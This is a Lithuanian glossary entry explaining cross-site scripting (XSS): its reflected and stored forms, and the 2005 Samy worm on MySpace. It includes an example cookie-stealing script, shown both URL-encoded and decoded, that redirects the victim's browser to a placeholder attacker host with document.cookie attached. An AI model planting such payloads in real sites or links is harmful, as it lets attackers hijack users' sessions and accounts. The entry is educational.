Locked History Actions

XSS

Žodis angliškai:

Cross-site scripting

Santrumpa:

XSS

Žodis lietuviškai:

Sukryžmintas svetainių kodavimas

Apibrėžimas:

Sukryžmintas svetainių kodavimas yra kompiuterių saugumo pažeidžiamumo rūšis, dažniausiai randama web aplikacijose (pvz.: naršyklės). Šis pažeidžiamumas leidžia kenkėjiškam vartotojui įterpti į web svetainės puslapį kenkėjišką kodą, kurį vykdys kitų vartotojų naršyklės kai, joms bus nurodyta atidaryti tą puslapį. Taip pat šis pažeidimas įgalina apeiti vartotojų filtravimą bei autentifikacijos procesus. XSS neturi standartizuotos klasifikacijos, tačiau didžioji dalis klasifikavimų apsistoja ties dviem pagrindiniais XSS tipais: pastovus bei nepastovus. Kai kurie šaltiniai šias dvi klasifikacijas skirsto dar į dvi grupes: tradiciniai (kodas įvykdomas dėl tarnybinės stoties programinio kodo spragų) bei DOM-paremtu (kodas įvykdomas dėl naudotojo kenkėjiško kodo). Nepastovus (atspindėtas) yra dažniausiai pasitaikanti sukryžminto svetainių kodavimo rūšis. Šia pažeidžiamumo rūšimi pasinaudoti, dažniausiai reikia, kad naudotojas į savo naršyklės langą suvestų reikiamą kodą (dažniausiai Java script kalba). Tam kenkėjiški vartotojai dažniausiai sukuria URL nuorodas, su užkoduotu Java script kodu jose. Užėjęs į tokią nuorodą naudotojas gali nežinodamas pasidalinti su kenkėjišku vartotoju savo naršyklės laikinai saugomais dokumentais (cookies) su asmenine informacija.

Laikinai saugomų dokumentų pavogimo kodo, užkoduoto URL pvz.:

http://portal.example/index.php?sessionid=12312312&username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

Iškoduotas tas pats pavyzdys:

http://portal.example/index.php?sessionid=12312312&username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</script>

Pastovūs sukryžminto sveitainių kodavimai nuo nepastovių skiriasi savo veikimo vieta, tai dažniausiai būna internetinės svetainės leidžiančiose registruotiems vartotojams patiems platinti informaciją, kuri vėliau būna saugoma internetinės svetainės duomenų bazėje. Kaip pvz.: socialiniais tinklai, skelbimų lentos (bulletin boards). Tokiose internetinėse svetainėse registruotas naudotojas yra atpažinamas pagal savo sesijos identifikavimo duomenis (session ID). Taigi jeigu naudotojas užeitų į puslapį su kenkėjišku kodu – jo visa naršyklės laikinai laikomi duomenys bei vartotojo paskyra galėtų būti pavogta.

Kodo pvz.:

<SCRIPT>document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</SCRIPT>

Sukryžminto svetainių kodavimo kenkėjiška programinė įranga (Worms bei Malware) Geriausiai žinomas šį pažeidžiamumą išnaudojantis kodas buvo 2005 metais pasirodęs „Samy Worm“. Šis kodas buvo pastoviojo tipo, jis išnaudojo sukryžminto svetainių kodavimo pažeidžiamumą Myspace.com socialiniame tinkle. Kodo autorius Samy Kamkar įkėlė savo parašytą kenkėjišką kodą „Samy Worm“ į savo Myspace.com profilį. Nors ir internetinė svetainė turėjo tam tikrų apsaugų numatytų prie XXS, tačiau kodo autoriui jas apieti nebuvo labai sudėtinga. Jo įterptas kodas priversdavo kiekvieną vartotojo paskyrą, kuris aplankydavo Samy Kamkar profilį, įterpti Samy Kamkar į draugus bei į savo vartotojo paskyros profilį įterpti tą patį kenkėjišką kodą. Per parą buvo užkrėsta 1 milijonas Myspace.com vartotojų paskyrų. Tam kad sustabdytų kodo plitimą bei ištaisytų pažeidžiamumo klaida Myspace.com ten išjungti tarnybines stotis.

Naudota literatūra:

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

http://en.wikipedia.org/wiki/XSS_worm

http://en.wikipedia.org/wiki/Cross-site_scripting

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)